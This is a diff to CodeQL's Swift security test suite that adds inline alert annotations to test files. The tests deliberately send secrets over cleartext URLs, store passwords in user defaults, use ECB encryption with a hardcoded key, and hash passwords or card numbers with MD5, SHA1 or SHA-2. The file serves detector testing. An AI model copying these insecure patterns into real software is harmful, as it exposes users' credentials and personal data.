_ = URL(string: "http://example.com/login?key=\(pub_key)"); // GOOD (not sensitive) - _ = URL(string: "http://example.com/login?cert=\(certificate)"); // BAD + _ = URL(string: "http://example.com/login?cert=\(certificate)"); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "http://example.com/login?tok=\(secure_token)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?tok=\(access_token)"); // BAD [NOT DETECTED] _ = URL(string: "http://example.com/login?tok=\(auth_token)"); // BAD [NOT DETECTED] @@ -101,9 +101,9 @@ func test3() { } func test4(key: SecKey) { - if let data = SecKeyCopyExternalRepresentation(key, nil) as? Data { + if let data = SecKeyCopyExternalRepresentation(key, nil) as? Data { // $ Source[swift/cleartext-transmission] if let string = String(data: data, encoding: .utf8) { - _ = URL(string: "http://example.com/login?tok=\(string)"); // BAD + _ = URL(string: "http://example.com/login?tok=\(string)"); // BAD // $ Alert[swift/cleartext-transmission] } } } @@ -113,14 +113,14 @@ func test5() { let email = get_string() let secret_key = get_string() - _ = URL(string: "http://example.com/login?email=\(email)"); // BAD + _ = URL(string: "http://example.com/login?email=\(email)"); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "mailto:\(email)"); // GOOD (revealing your e-amil address in an e-mail is expected) _ = URL(string: "mailto:info@example.com?subject=\(secret_key)"); // BAD [NOT DETECTED] _ = URL(string: "mailto:info@example.com?subject=foo&cc=\(email)"); // GOOD let phone_number = get_string() - _ = URL(string: "http://example.com/profile?tel=\(phone_number)"); // BAD + _ = URL(string: "http://example.com/profile?tel=\(phone_number)"); // BAD // $ Alert[swift/cleartext-transmission] _ = URL(string: "tel:\(phone_number)") // GOOD _ = URL(string: "telprompt:\(phone_number)") // GOOD _ = URL(string: "callto:\(phone_number)") // GOOD @@ -129,5 +129,5 @@ func test5() { let account_no = get_string() _ = URL(string: "file:///foo/bar/\(account_no).csv") // GOOD (local, so not transmitted) - _ = URL(string: "ftp://example.com/\(account_no).csv") // BAD + _ = URL(string: "ftp://example.com/\(account_no).csv") // BAD // $ Alert[swift/cleartext-transmission] } diff --git a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref index 574e0e172326..dfb639f1beab 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref +++ b/swift/ql/test/query-tests/Security/CWE-312/CleartextStoragePreferences.qlref @@ -1 +1,2 @@ -queries/Security/CWE-312/CleartextStoragePreferences.ql +query: queries/Security/CWE-312/CleartextStoragePreferences.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift b/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift index 20627a6483be..458ccbe00da3 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift +++ b/swift/ql/test/query-tests/Security/CWE-312/testNSUbiquitousKeyValueStore.swift @@ -25,7 +25,7 @@ func doSomething(password: String) { } func test1(password: String, passwordHash : String) { let store = NSUbiquitousKeyValueStore.default - store.set(password, forKey: "myKey") // BAD + store.set(password, forKey: "myKey") // BAD // $ Alert store.set(passwordHash, forKey: "myKey") // GOOD (not sensitive) } @@ -38,27 +38,27 @@ func test3(x: String) { // alternative evidence of sensitivity... NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD [NOT REPORTED] - doSomething(password: x); - NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD + doSomething(password: x); // $ Source + NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD // $ Alert - let y = getPassword(); - NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD + let y = getPassword(); // $ Source + NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD // $ Alert let z = MyClass() NSUbiquitousKeyValueStore.default.set(z.harmless, forKey: "myKey") // GOOD (not sensitive) - NSUbiquitousKeyValueStore.default.set(z.password, forKey: "myKey") // BAD + NSUbiquitousKeyValueStore.default.set(z.password, forKey: "myKey") // BAD // $ Alert } func test4(passwd: String) { // sanitizers... - var x = passwd; - var y = passwd; - var z = passwd; + var x = passwd; // $ Source + var y = passwd; // $ Source + var z = passwd; // $ Source - NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD - NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD - NSUbiquitousKeyValueStore.default.set(z, forKey: "myKey") // BAD + NSUbiquitousKeyValueStore.default.set(x, forKey: "myKey") // BAD // $ Alert + NSUbiquitousKeyValueStore.default.set(y, forKey: "myKey") // BAD // $ Alert + NSUbiquitousKeyValueStore.default.set(z, forKey: "myKey") // BAD // $ Alert x = encrypt(x); hash(data: &y); diff --git a/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift b/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift index 10a1a04eedf4..dab0cc4504c1 100644 --- a/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift +++ b/swift/ql/test/query-tests/Security/CWE-312/testUserDefaults.swift @@ -25,7 +25,7 @@ func doSomething(password: String) { } func test1(password: String, passwordHash : String) { let defaults = UserDefaults.standard - defaults.set(password, forKey: "myKey") // BAD + defaults.set(password, forKey: "myKey") // BAD // $ Alert defaults.set(passwordHash, forKey: "myKey") // GOOD (not sensitive) } @@ -38,27 +38,27 @@ func test3(x: String) { // alternative evidence of sensitivity... UserDefaults.standard.set(x, forKey: "myKey") // BAD [NOT REPORTED] - doSomething(password: x); - UserDefaults.standard.set(x, forKey: "myKey") // BAD + doSomething(password: x); // $ Source + UserDefaults.standard.set(x, forKey: "myKey") // BAD // $ Alert - let y = getPassword(); - UserDefaults.standard.set(y, forKey: "myKey") // BAD + let y = getPassword(); // $ Source + UserDefaults.standard.set(y, forKey: "myKey") // BAD // $ Alert let z = MyClass() UserDefaults.standard.set(z.harmless, forKey: "myKey") // GOOD (not sensitive) - UserDefaults.standard.set(z.password, forKey: "myKey") // BAD + UserDefaults.standard.set(z.password, forKey: "myKey") // BAD // $ Alert } func test4(passwd: String) { // sanitizers... - var x = passwd; - var y = passwd; - var z = passwd; + var x = passwd; // $ Source + var y = passwd; // $ Source + var z = passwd; // $ Source - UserDefaults.standard.set(x, forKey: "myKey") // BAD - UserDefaults.standard.set(y, forKey: "myKey") // BAD - UserDefaults.standard.set(z, forKey: "myKey") // BAD + UserDefaults.standard.set(x, forKey: "myKey") // BAD // $ Alert + UserDefaults.standard.set(y, forKey: "myKey") // BAD // $ Alert + UserDefaults.standard.set(z, forKey: "myKey") // BAD // $ Alert x = encrypt(x); hash(data: &y); @@ -79,6 +79,6 @@ struct MyOuter { } func test5(mo : MyOuter) { - UserDefaults.standard.set(mo.password.value, forKey: "myKey") // BAD + UserDefaults.standard.set(mo.password.value, forKey: "myKey") // BAD // $ Alert UserDefaults.standard.set(mo.harmless.value, forKey: "myKey") // GOOD } diff --git a/swift/ql/test/query-tests/Security/CWE-321/HardcodedEncryptionKey.qlref b/swift/ql/test/query-tests/Security/CWE-321/HardcodedEncryptionKey.qlref index 92bca37534a5..c2fdce8b0e02 100644 --- a/swift/ql/test/query-tests/Security/CWE-321/HardcodedEncryptionKey.qlref +++ b/swift/ql/test/query-tests/Security/CWE-321/HardcodedEncryptionKey.qlref @@ -1 +1 @@ -queries/Security/CWE-321/HardcodedEncryptionKey.ql +query: queries/Security/CWE-321/HardcodedEncryptionKey.ql diff --git a/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref b/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref index ac56a6338b0f..bee507b1cd09 100644 --- a/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref +++ b/swift/ql/test/query-tests/Security/CWE-327/ECBEncryption.qlref @@ -1 +1,2 @@ -queries/Security/CWE-327/ECBEncryption.ql \ No newline at end of file +query: queries/Security/CWE-327/ECBEncryption.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-327/test.swift b/swift/ql/test/query-tests/Security/CWE-327/test.swift index 382269905612..45e288a2e59d 100644 --- a/swift/ql/test/query-tests/Security/CWE-327/test.swift +++ b/swift/ql/test/query-tests/Security/CWE-327/test.swift @@ -36,7 +36,7 @@ func getRandomArray() -> Array { } func getECBBlockMode() -> BlockMode { - return ECB() + return ECB() // $ Source } func getCBCBlockMode() -> BlockMode { @@ -47,18 +47,18 @@ func getCBCBlockMode() -> BlockMode { func test1() { let key: Array = [0x2a, 0x3a, 0x80, 0x05, 0xaf, 0x46, 0x58, 0x2d, 0x66, 0x52, 0x10, 0xae, 0x86, 0xd3, 0x8e, 0x8f] - let ecb = ECB() + let ecb = ECB() // $ Source let iv = getRandomArray() let cbc = CBC(iv: iv) let padding = Padding.noPadding // AES test cases - let ab1 = AES(key: key, blockMode: ecb, padding: padding) // BAD - let ab2 = AES(key: key, blockMode: ecb) // BAD - let ab3 = AES(key: key, blockMode: ECB(), padding: padding) // BAD - let ab4 = AES(key: key, blockMode: ECB()) // BAD - let ab5 = AES(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD - let ab6 = AES(key: key, blockMode: getECBBlockMode()) // BAD + let ab1 = AES(key: key, blockMode: ecb, padding: padding) // BAD // $ Alert + let ab2 = AES(key: key, blockMode: ecb) // BAD // $ Alert + let ab3 = AES(key: key, blockMode: ECB(), padding: padding) // BAD // $ Alert + let ab4 = AES(key: key, blockMode: ECB()) // BAD // $ Alert + let ab5 = AES(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD // $ Alert + let ab6 = AES(key: key, blockMode: getECBBlockMode()) // BAD // $ Alert let ag1 = AES(key: key, blockMode: cbc, padding: padding) // GOOD let ag2 = AES(key: key, blockMode: cbc) // GOOD @@ -68,9 +68,9 @@ func test1() { let ag6 = AES(key: key, blockMode: getCBCBlockMode()) // GOOD // Blowfish test cases - let bb1 = Blowfish(key: key, blockMode: ecb, padding: padding) // BAD - let bb2 = Blowfish(key: key, blockMode: ECB(), padding: padding) // BAD - let bb3 = Blowfish(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD + let bb1 = Blowfish(key: key, blockMode: ecb, padding: padding) // BAD // $ Alert + let bb2 = Blowfish(key: key, blockMode: ECB(), padding: padding) // BAD // $ Alert + let bb3 = Blowfish(key: key, blockMode: getECBBlockMode(), padding: padding) // BAD // $ Alert let bg1 = Blowfish(key: key, blockMode: cbc, padding: padding) // GOOD let bg2 = Blowfish(key: key, blockMode: CBC(iv: iv), padding: padding) // GOOD diff --git a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref index b2cfaab1f5cc..24744b4a4250 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref +++ b/swift/ql/test/query-tests/Security/CWE-328/WeakPasswordHashing.qlref @@ -1 +1,2 @@ -queries/Security/CWE-328/WeakPasswordHashing.ql +query: queries/Security/CWE-328/WeakPasswordHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref b/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref index 85270fde2999..d76eeef6c2f2 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref +++ b/swift/ql/test/query-tests/Security/CWE-328/WeakSensitiveDataHashing.qlref @@ -1 +1,2 @@ -queries/Security/CWE-328/WeakSensitiveDataHashing.ql +query: queries/Security/CWE-328/WeakSensitiveDataHashing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift index 6869805e65aa..c705584d2d48 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift +++ b/swift/ql/test/query-tests/Security/CWE-328/testCryptoKit.swift @@ -81,43 +81,43 @@ enum Insecure { // --- tests --- func testHashMethods(passwd : UnsafeRawBufferPointer, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { - var hash = Crypto.Insecure.MD5.hash(data: passwd) // BAD - hash = Crypto.Insecure.MD5.hash(bufferPointer: passwd) // BAD - hash = Crypto.Insecure.MD5.hash(data: cert) // BAD + var hash = Crypto.Insecure.MD5.hash(data: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.MD5.hash(bufferPointer: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.MD5.hash(data: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash = Crypto.Insecure.MD5.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Crypto.Insecure.MD5.hash(data: account_no) // BAD - hash = Crypto.Insecure.MD5.hash(data: credit_card_no) // BAD + hash = Crypto.Insecure.MD5.hash(data: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash = Crypto.Insecure.MD5.hash(data: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] - hash = Insecure.MD5.hash(data: passwd) // BAD - hash = Insecure.MD5.hash(bufferPointer: passwd) // BAD - hash = Insecure.MD5.hash(data: cert) // BAD + hash = Insecure.MD5.hash(data: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Insecure.MD5.hash(bufferPointer: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Insecure.MD5.hash(data: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash = Insecure.MD5.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Insecure.MD5.hash(data: account_no) // BAD - hash = Insecure.MD5.hash(data: credit_card_no) // BAD + hash = Insecure.MD5.hash(data: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash = Insecure.MD5.hash(data: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] - hash = Crypto.Insecure.SHA1.hash(data: passwd) // BAD - hash = Crypto.Insecure.SHA1.hash(bufferPointer: passwd) // BAD - hash = Crypto.Insecure.SHA1.hash(data: cert) // BAD + hash = Crypto.Insecure.SHA1.hash(data: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.SHA1.hash(bufferPointer: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash = Crypto.Insecure.SHA1.hash(data: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash = Crypto.Insecure.SHA1.hash(data: encrypted_passwd) // GOOD (not sensitive) - hash = Crypto.Insecure.SHA1.hash(data: account_no) // BAD - hash = Crypto.Insecure.SHA1.hash(data: credit_card_no) // BAD + hash = Crypto.Insecure.SHA1.hash(data: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash = Crypto.Insecure.SHA1.hash(data: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] - hash = Crypto.SHA256.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA256.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA256.hash(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] + hash = Crypto.SHA256.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash = Crypto.SHA256.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA256.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA256.hash(data: account_no) // GOOD, computationally expensive hash not required hash = Crypto.SHA256.hash(data: credit_card_no) // GOOD, computationally expensive hash not required - hash = Crypto.SHA384.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA384.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA384.hash(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] + hash = Crypto.SHA384.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash = Crypto.SHA384.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA384.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA384.hash(data: account_no) // GOOD, computationally expensive hash not required hash = Crypto.SHA384.hash(data: credit_card_no) // GOOD, computationally expensive hash not required - hash = Crypto.SHA512.hash(data: passwd) // BAD, not a computationally expensive hash - hash = Crypto.SHA512.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash = Crypto.SHA512.hash(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] + hash = Crypto.SHA512.hash(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash = Crypto.SHA512.hash(data: cert) // GOOD, computationally expensive hash not required hash = Crypto.SHA512.hash(data: encrypted_passwd) // GOOD, not sensitive hash = Crypto.SHA512.hash(data: account_no) // GOOD, computationally expensive hash not required @@ -126,25 +126,25 @@ func testHashMethods(passwd : UnsafeRawBufferPointer, cert: String, encrypted_pa func testMD5UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.Insecure.MD5() - hash.update(data: passwd) // BAD - hash.update(data: cert) // BAD + hash.update(data: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash.update(data: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash.update(data: encrypted_passwd) // GOOD (not sensitive) - hash.update(data: account_no) // BAD - hash.update(data: credit_card_no) // BAD + hash.update(data: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(data: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA1UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.Insecure.SHA1() - hash.update(data: passwd) // BAD - hash.update(data: cert) // BAD + hash.update(data: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash.update(data: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash.update(data: encrypted_passwd) // GOOD (not sensitive) - hash.update(data: account_no) // BAD - hash.update(data: credit_card_no) // BAD + hash.update(data: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(data: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA256UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA256() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -153,7 +153,7 @@ func testSHA256UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testSHA384UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA384() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -162,7 +162,7 @@ func testSHA384UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testSHA512UpdateWithData(passwd : String, cert: String, encrypted_passwd : String, account_no : String, credit_card_no : String) { var hash = Crypto.SHA512() - hash.update(data: passwd) // BAD, not a computationally expensive hash + hash.update(data: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(data: cert) // GOOD hash.update(data: encrypted_passwd) // GOOD (not sensitive) hash.update(data: account_no) // GOOD @@ -171,25 +171,25 @@ func testSHA512UpdateWithData(passwd : String, cert: String, encrypted_passwd : func testMD5UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.Insecure.MD5() - hash.update(bufferPointer: passwd) // BAD - hash.update(bufferPointer: cert) // BAD + hash.update(bufferPointer: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash.update(bufferPointer: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) - hash.update(bufferPointer: account_no) // BAD - hash.update(bufferPointer: credit_card_no) // BAD + hash.update(bufferPointer: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(bufferPointer: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA1UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.Insecure.SHA1() - hash.update(bufferPointer: passwd) // BAD - hash.update(bufferPointer: cert) // BAD + hash.update(bufferPointer: passwd) // BAD // $ Alert[swift/weak-password-hashing] + hash.update(bufferPointer: cert) // BAD // $ Alert[swift/weak-sensitive-data-hashing] hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) - hash.update(bufferPointer: account_no) // BAD - hash.update(bufferPointer: credit_card_no) // BAD + hash.update(bufferPointer: account_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + hash.update(bufferPointer: credit_card_no) // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testSHA256UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA256() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -198,7 +198,7 @@ func testSHA256UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testSHA384UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA384() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -207,7 +207,7 @@ func testSHA384UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testSHA512UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, cert: UnsafeRawBufferPointer, encrypted_passwd : UnsafeRawBufferPointer, account_no : UnsafeRawBufferPointer, credit_card_no : UnsafeRawBufferPointer) { var hash = Crypto.SHA512() - hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash + hash.update(bufferPointer: passwd) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] hash.update(bufferPointer: cert) // GOOD hash.update(bufferPointer: encrypted_passwd) // GOOD (not sensitive) hash.update(bufferPointer: account_no) // GOOD @@ -217,30 +217,30 @@ func testSHA512UpdateWithUnsafeRawBufferPointer(passwd : UnsafeRawBufferPointer, func testBadExample(passwordString: String) { // this is the "bad" example from the .qhelp let passwordData = Data(passwordString.utf8) - let passwordHash = Crypto.SHA512.hash(data: passwordData) // BAD, not a computationally expensive hash + let passwordHash = Crypto.SHA512.hash(data: passwordData) // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] // ... - if Crypto.SHA512.hash(data: Data(passwordString.utf8)) == passwordHash { // BAD, not a computationally expensive hash + if Crypto.SHA512.hash(data: Data(passwordString.utf8)) == passwordHash { // BAD, not a computationally expensive hash // $ Alert[swift/weak-password-hashing] // ... } } func testWithFlowAndMetatypes(cardNumber: String) { - let value1 = Data(cardNumber.utf8); - let _digest1 = Insecure.MD5.hash(data: value1); // BAD + let value1 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] + let _digest1 = Insecure.MD5.hash(data: value1); // BAD // $ Alert[swift/weak-sensitive-data-hashing] - let value2 = Data(cardNumber.utf8); + let value2 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] let hasher2 = Insecure.MD5.self; // metatype - let _digest2 = hasher2.hash(data: value2); // BAD + let _digest2 = hasher2.hash(data: value2); // BAD // $ Alert[swift/weak-sensitive-data-hashing] - let value3 = Data(cardNumber.utf8); - let _digest3 = (Insecure.MD5.self).hash(data: value3); // BAD + let value3 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] + let _digest3 = (Insecure.MD5.self).hash(data: value3); // BAD // $ Alert[swift/weak-sensitive-data-hashing] - let value4 = Data(cardNumber.utf8); + let value4 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] testReceiver1(value: value4); - let value5 = Data(cardNumber.utf8); + let value5 = Data(cardNumber.utf8); // $ Source[swift/weak-sensitive-data-hashing] testReceiver2(hasher: Insecure.MD5.self, value: value5); let value6 = Data(cardNumber.utf8); @@ -248,11 +248,11 @@ func testWithFlowAndMetatypes(cardNumber: String) { } func testReceiver1(value: Data) { - let _digest = Insecure.MD5.hash(data: value); // BAD + let _digest = Insecure.MD5.hash(data: value); // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testReceiver2(hasher: Insecure.MD5.Type, value: Data) { - let _digest = hasher.hash(data: value); // BAD + let _digest = hasher.hash(data: value); // BAD // $ Alert[swift/weak-sensitive-data-hashing] } func testReceiver3(hasher: H.Type, value: Data) { diff --git a/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift b/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift index 15043bc15f68..661f64ba09a0 100644 --- a/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift +++ b/swift/ql/test/query-tests/Security/CWE-328/testCryptoSwift.swift @@ -150,83 +150,83 @@ extension String { func testArrays(harmlessArray: Array, phoneNumberArray: Array, passwdArray: Array) { _ = MD5().calculate(for: harmlessArray) // GOOD (not sensitive) - _ = MD5().calculate(for: phoneNumberArray) // BAD - _ = MD5().calculate(for: passwdArray) // BAD + _ = MD5().calculate(for: phoneNumberArray) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = MD5().calculate(for: passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = SHA1().calculate(for: harmlessArray) // GOOD (not sensitive) - _ = SHA1().calculate(for: phoneNumberArray) // BAD - _ = SHA1().calculate(for: passwdArray) // BAD + _ = SHA1().calculate(for: phoneNumberArray) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = SHA1().calculate(for: passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = SHA2(variant: .sha512).calculate(for: harmlessArray) // GOOD _ = SHA2(variant: .sha512).calculate(for: phoneNumberArray) // GOOD - _ = SHA2(variant: .sha512).calculate(for: passwdArray) // BAD + _ = SHA2(variant: .sha512).calculate(for: passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = SHA3(variant: .sha512).calculate(for: harmlessArray) // GOOD _ = SHA3(variant: .sha512).calculate(for: phoneNumberArray) // GOOD - _ = SHA3(variant: .sha512).calculate(for: passwdArray) // BAD + _ = SHA3(variant: .sha512).calculate(for: passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = Digest.md5(harmlessArray) // GOOD (not sensitive) - _ = Digest.md5(phoneNumberArray) // BAD - _ = Digest.md5(passwdArray) // BAD + _ = Digest.md5(phoneNumberArray) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = Digest.md5(passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = Digest.sha1(harmlessArray) // GOOD (not sensitive) - _ = Digest.sha1(phoneNumberArray) // BAD - _ = Digest.sha1(passwdArray) // BAD + _ = Digest.sha1(phoneNumberArray) // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = Digest.sha1(passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = Digest.sha512(harmlessArray) // GOOD (not sensitive) _ = Digest.sha512(phoneNumberArray) // GOOD - _ = Digest.sha512(passwdArray) // BAD + _ = Digest.sha512(passwdArray) // BAD // $ Alert[swift/weak-password-hashing] _ = Digest.sha2(harmlessArray, variant: .sha512) // GOOD (not sensitive) _ = Digest.sha2(phoneNumberArray, variant: .sha512) // GOOD - _ = Digest.sha2(passwdArray, variant: .sha512) // BAD + _ = Digest.sha2(passwdArray, variant: .sha512) // BAD // $ Alert[swift/weak-password-hashing] _ = Digest.sha3(harmlessArray, variant: .sha512) // GOOD (not sensitive) _ = Digest.sha3(phoneNumberArray, variant: .sha512) // GOOD - _ = Digest.sha3(passwdArray, variant: .sha512) // BAD + _ = Digest.sha3(passwdArray, variant: .sha512) // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessArray.md5() // GOOD (not sensitive) - _ = phoneNumberArray.md5() // BAD - _ = passwdArray.md5() // BAD + _ = phoneNumberArray.md5() // BAD // $ Alert[swift/weak-sensitive-data-hashing] + _ = passwdArray.md5() // BAD // $ Alert[swift/weak-password-hashing] _ = harmlessArray.sha1() // GOOD 